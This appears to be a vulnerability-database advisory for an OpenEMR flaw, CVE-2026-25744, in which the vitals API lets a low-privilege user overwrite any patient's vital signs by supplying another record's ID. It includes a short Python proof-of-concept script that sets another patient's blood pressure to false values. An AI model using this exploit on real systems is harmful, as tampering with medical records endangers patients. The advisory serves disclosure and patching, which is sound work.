Security Vulnerability Report
中文
CVE-2026-25744 CVSS 6.5 MEDIUM

CVE-2026-25744

Published: 2026-03-19 20:16:13
Last Modified: 2026-03-20 17:19:13

Description

OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, the encounter vitals API accepts an `id` in the request body and treats it as an UPDATE. There is no verification that the vital belongs to the current patient or encounter. An authenticated user with encounters/notes permission can overwrite any patient's vitals by supplying another patient's vital `id`, leading to medical record tampering. Version 8.0.0.2 fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR < 8.0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for the encounter vitals API url = "https://target-openemr.com/api/vitals" # Attacker's session cookie (authenticated low-privilege user) cookies = {"PHPSESSID": "attacker_session_id"} # Payload targeting a different patient's vital ID payload = { "id": "TARGET_VITAL_ID", # ID of another patient's vital record "bps": 200, # Modified Blood Pressure Systolic "bpd": 120 # Modified Blood Pressure Diastolic } # Send the request to overwrite the record response = requests.post(url, json=payload, cookies=cookies) if response.status_code == 200: print("Vital record successfully overwritten.") else: print(f"Failed: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25744", "sourceIdentifier": "[email protected]", "published": "2026-03-19T20:16:13.480", "lastModified": "2026-03-20T17:19:12.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, the encounter vitals API accepts an `id` in the request body and treats it as an UPDATE. There is no verification that the vital belongs to the current patient or encounter. An authenticated user with encounters/notes permission can overwrite any patient's vitals by supplying another patient's vital `id`, leading to medical record tampering. Version 8.0.0.2 fixes the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación de código abierto y gratuita de registros médicos electrónicos y gestión de consultorios médicos. Antes de la 8.0.0.2, la API de signos vitales de encuentro acepta un 'id' en el cuerpo de la solicitud y lo trata como una ACTUALIZACIÓN. No hay verificación de que el signo vital pertenezca al paciente o encuentro actual. Un usuario autenticado con permiso de encuentros/notas puede sobrescribir los signos vitales de cualquier paciente al proporcionar el 'id' de un signo vital de otro paciente, lo que lleva a la manipulación de registros médicos. La versión 8.0.0.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.2", "matchCriteriaId": "C78F19AD-BD18-4F61-8B1C-DD099DBC6D34"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/c3a47c37619cdb4f0aaa168e39a93ab1d106429c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-mv9m-j65p-g55f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}